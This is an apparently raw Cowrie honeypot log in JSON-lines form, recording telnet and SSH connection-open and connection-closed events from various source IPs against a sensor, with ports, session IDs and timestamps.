{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":54774,"dst_ip":"10.17.0.5","dst_port":23,"session":"45f4ce3ee277","protocol":"telnet","message":"New connection: 169.62.47.99:54774 (10.17.0.5:23) [session: 45f4ce3ee277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:04.500216Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":54248,"dst_ip":"159.203.135.109","dst_port":23,"session":"03823d36c054","protocol":"telnet","message":"New connection: 152.59.19.2:54248 (159.203.135.109:23) [session: 03823d36c054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:04.554755Z"}
{"eventid":"cowrie.session.closed","duration":120.00102806091309,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:04.721615Z","src_ip":"152.59.19.2","session":"009bf904e6f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":46980,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac8168d57ea","protocol":"telnet","message":"New connection: 212.192.218.74:46980 (10.17.0.5:23) [session: cac8168d57ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:04.982610Z"}
{"eventid":"cowrie.session.closed","duration":30.5241801738739,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:05.150483Z","src_ip":"160.187.180.68","session":"b0ac0b947829","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60608,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7f6c05f29f5","protocol":"telnet","message":"New connection: 62.77.140.101:60608 (10.17.0.5:23) [session: a7f6c05f29f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:06.296288Z"}
{"eventid":"cowrie.session.closed","duration":120.00102853775024,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:06.571843Z","src_ip":"152.59.19.2","session":"5ba33f9ca2a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97506880760193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:07.025109Z","src_ip":"138.197.5.236","session":"5af47bfc6259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":54338,"dst_ip":"159.203.135.109","dst_port":23,"session":"35652c934fad","protocol":"telnet","message":"New connection: 152.59.19.2:54338 (159.203.135.109:23) [session: 35652c934fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:07.050761Z"}
{"eventid":"cowrie.session.closed","duration":30.696502208709717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:07.055528Z","src_ip":"77.72.5.107","session":"9a607a52332b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":47910,"dst_ip":"10.17.0.5","dst_port":23,"session":"109986866f1c","protocol":"telnet","message":"New connection: 212.192.218.74:47910 (10.17.0.5:23) [session: 109986866f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:07.430517Z"}
{"eventid":"cowrie.session.closed","duration":30.74729013442993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:07.978907Z","src_ip":"185.26.126.47","session":"2534fe487a74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772005081176758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:08.017003Z","src_ip":"185.26.126.47","session":"7d0115032309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875762939453125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:08.089840Z","src_ip":"136.244.67.81","session":"a33ba0b99a8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826839208602905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:08.139419Z","src_ip":"62.77.140.101","session":"d9acad850383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97079300880432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:08.149526Z","src_ip":"107.152.33.170","session":"2f0dd6984f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.187","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"b040631929b8","protocol":"telnet","message":"New connection: 66.132.172.187:38916 (10.17.0.5:23) [session: b040631929b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:08.280928Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":41620,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4486cfd742e","protocol":"telnet","message":"New connection: 62.77.140.101:41620 (10.17.0.5:23) [session: e4486cfd742e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:08.465574Z"}
{"eventid":"cowrie.session.closed","duration":30.827351093292236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:09.033449Z","src_ip":"138.197.5.236","session":"e1281cb970ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752264261245728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:10.041531Z","src_ip":"77.72.5.107","session":"a9db97cd500d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":46136,"dst_ip":"10.17.0.5","dst_port":23,"session":"fef8f3eaace9","protocol":"telnet","message":"New connection: 136.244.67.81:46136 (10.17.0.5:23) [session: fef8f3eaace9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:10.187203Z"}
{"eventid":"cowrie.session.closed","duration":30.634772300720215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:10.192539Z","src_ip":"77.72.5.107","session":"3c7a501de6c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70859956741333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:10.206820Z","src_ip":"160.187.180.68","session":"853830062f46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":49084,"dst_ip":"10.17.0.5","dst_port":23,"session":"4529f6388741","protocol":"telnet","message":"New connection: 212.192.218.74:49084 (10.17.0.5:23) [session: 4529f6388741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:10.213185Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":54012,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d19928a8b41","protocol":"telnet","message":"New connection: 80.252.221.197:54012 (10.17.0.5:23) [session: 2d19928a8b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:10.518738Z"}
{"eventid":"cowrie.session.closed","duration":30.806366205215454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:11.046043Z","src_ip":"77.72.5.107","session":"cca48e71980e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":54020,"dst_ip":"10.17.0.5","dst_port":23,"session":"748b81cdb90f","protocol":"telnet","message":"New connection: 80.252.221.197:54020 (10.17.0.5:23) [session: 748b81cdb90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:11.323097Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":41630,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb725969b449","protocol":"telnet","message":"New connection: 62.77.140.101:41630 (10.17.0.5:23) [session: bb725969b449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:11.434885Z"}
{"eventid":"cowrie.session.closed","duration":30.97137761116028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:12.075407Z","src_ip":"107.152.33.170","session":"719813c4a6fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":46148,"dst_ip":"10.17.0.5","dst_port":23,"session":"f53913f4834d","protocol":"telnet","message":"New connection: 136.244.67.81:46148 (10.17.0.5:23) [session: f53913f4834d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:12.206102Z"}
{"eventid":"cowrie.session.closed","duration":30.89755415916443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.023297Z","src_ip":"107.152.33.170","session":"7e89cba2023a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629600524902344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.027925Z","src_ip":"107.152.33.170","session":"fd32b46bd943","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58206605911255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.100374Z","src_ip":"77.72.5.107","session":"dfb5cfa555e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38765239715576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.141634Z","src_ip":"62.77.140.101","session":"41a0737106c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712445497512817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.189878Z","src_ip":"212.192.218.74","session":"c27c374eced2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710964679718018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.194387Z","src_ip":"212.192.218.74","session":"bc5727426215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976236820220947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.261408Z","src_ip":"212.192.218.74","session":"ef56f8513cb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82402491569519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.266676Z","src_ip":"212.192.218.74","session":"a3e1ff138598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817832469940186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.271752Z","src_ip":"212.192.218.74","session":"32c143313283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931369304656982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.277900Z","src_ip":"212.192.218.74","session":"144177312efa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.045910120010376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.382482Z","src_ip":"212.192.218.74","session":"aeba97ec4cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99677062034607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.386212Z","src_ip":"212.192.218.74","session":"9bf3cfaa4e5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995137929916382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.389549Z","src_ip":"212.192.218.74","session":"d0fd2beb6b12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983019590377808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.405151Z","src_ip":"212.192.218.74","session":"a8db76e9040b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13536024093628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:13.409299Z","src_ip":"212.192.218.74","session":"a68a1dcc738c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656303882598877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:14.035176Z","src_ip":"107.152.33.170","session":"e60d29a6db8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":54034,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0a9021d9142","protocol":"telnet","message":"New connection: 80.252.221.197:54034 (10.17.0.5:23) [session: f0a9021d9142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:14.292007Z"}
{"eventid":"cowrie.session.closed","duration":30.85915470123291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:14.346286Z","src_ip":"212.192.218.74","session":"68c2d3433c93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00583815574646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:14.355755Z","src_ip":"212.192.218.74","session":"420a969af030","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005688428878784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:14.360222Z","src_ip":"212.192.218.74","session":"9a56f8d15ead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02695322036743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:14.430998Z","src_ip":"212.192.218.74","session":"e61ca34dfa8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751572132110596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:15.124084Z","src_ip":"212.192.218.74","session":"5d3b4a200e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":54038,"dst_ip":"10.17.0.5","dst_port":23,"session":"e652b63d0f41","protocol":"telnet","message":"New connection: 80.252.221.197:54038 (10.17.0.5:23) [session: e652b63d0f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:15.290045Z"}
{"eventid":"cowrie.session.closed","duration":31.04797625541687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:15.299074Z","src_ip":"212.192.218.74","session":"b6187dd45b33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845624923706055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:15.305449Z","src_ip":"212.192.218.74","session":"5edee61df8d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":44565,"dst_ip":"159.203.135.109","dst_port":22,"session":"c70966e9af6a","protocol":"ssh","message":"New connection: 106.241.31.17:44565 (159.203.135.109:22) [session: c70966e9af6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:15.348949Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:15.353762Z","src_ip":"106.241.31.17","session":"c70966e9af6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.424408197402954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:15.779003Z","src_ip":"212.192.218.74","session":"3c717ea8eeac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85564637184143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:16.050721Z","src_ip":"77.72.5.107","session":"44a3377c9c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781402587890625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:16.058140Z","src_ip":"212.192.218.74","session":"e4a837c78ce0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.206077575683594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:16.093573Z","src_ip":"107.152.33.170","session":"b9ece8fe8ba3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8986976146698,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:16.286416Z","src_ip":"212.192.218.74","session":"7bddc6463246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971654415130615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:16.291638Z","src_ip":"212.192.218.74","session":"8492b3959c49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894147634506226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:16.296948Z","src_ip":"212.192.218.74","session":"50576c18d48a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00194478034973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:16.300850Z","src_ip":"212.192.218.74","session":"c7d17c1279d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843289852142334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:17.153650Z","src_ip":"212.192.218.74","session":"31abe80cb790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.738348245620728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:18.066869Z","src_ip":"136.244.67.81","session":"cb1fed0b4f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809648752212524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:18.076723Z","src_ip":"77.72.5.107","session":"54cdbfe0f202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":58036,"dst_ip":"10.17.0.5","dst_port":23,"session":"84b46d43de7d","protocol":"telnet","message":"New connection: 80.252.221.197:58036 (10.17.0.5:23) [session: 84b46d43de7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:18.186565Z"}
{"eventid":"cowrie.session.closed","duration":30.87321662902832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:18.228497Z","src_ip":"212.192.218.74","session":"e0eb4cd8d279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":38380,"dst_ip":"10.17.0.5","dst_port":23,"session":"a17aa1d7104c","protocol":"telnet","message":"New connection: 62.77.140.101:38380 (10.17.0.5:23) [session: a17aa1d7104c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:18.334261Z"}
{"eventid":"cowrie.session.closed","duration":31.297162532806396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:19.309278Z","src_ip":"212.192.218.74","session":"015ce33c00a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.568284034729004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:19.313968Z","src_ip":"212.192.218.74","session":"3643d2ae22b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.245.83.63","src_port":33100,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cee5ed01743","protocol":"telnet","message":"New connection: 185.245.83.63:33100 (10.17.0.5:23) [session: 3cee5ed01743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:19.649566Z"}
{"eventid":"cowrie.session.closed","duration":30.864484548568726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:20.022037Z","src_ip":"107.152.33.170","session":"061aa1a31404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591184377670288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:20.064328Z","src_ip":"77.72.5.107","session":"0b4294097058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80875301361084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:20.069162Z","src_ip":"136.244.67.81","session":"0487474b6f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749159336090088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:20.101110Z","src_ip":"62.77.140.101","session":"7c5707f88a1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.245.83.63","src_port":33108,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d221ad17a00","protocol":"telnet","message":"New connection: 185.245.83.63:33108 (10.17.0.5:23) [session: 7d221ad17a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:21.221417Z"}
{"eventid":"cowrie.session.closed","duration":30.776498794555664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:21.252271Z","src_ip":"212.192.218.74","session":"c653f30a2585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":58042,"dst_ip":"10.17.0.5","dst_port":23,"session":"db02105206aa","protocol":"telnet","message":"New connection: 80.252.221.197:58042 (10.17.0.5:23) [session: db02105206aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:21.307727Z"}
{"eventid":"cowrie.session.closed","duration":31.039531707763672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:22.093368Z","src_ip":"138.197.5.236","session":"ec7ba5af4c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":38388,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb4a0beb915c","protocol":"telnet","message":"New connection: 62.77.140.101:38388 (10.17.0.5:23) [session: bb4a0beb915c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:22.509319Z"}
{"eventid":"cowrie.session.closed","duration":31.335187196731567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:22.684509Z","src_ip":"212.192.218.74","session":"964f75781dae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93988299369812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:23.033108Z","src_ip":"107.152.33.170","session":"8945df4caef3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760860443115234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:23.107133Z","src_ip":"212.192.218.74","session":"4bb2ea95fd33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76183772087097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:23.111734Z","src_ip":"212.192.218.74","session":"252aae7aca1d","protocol":"telnet"}
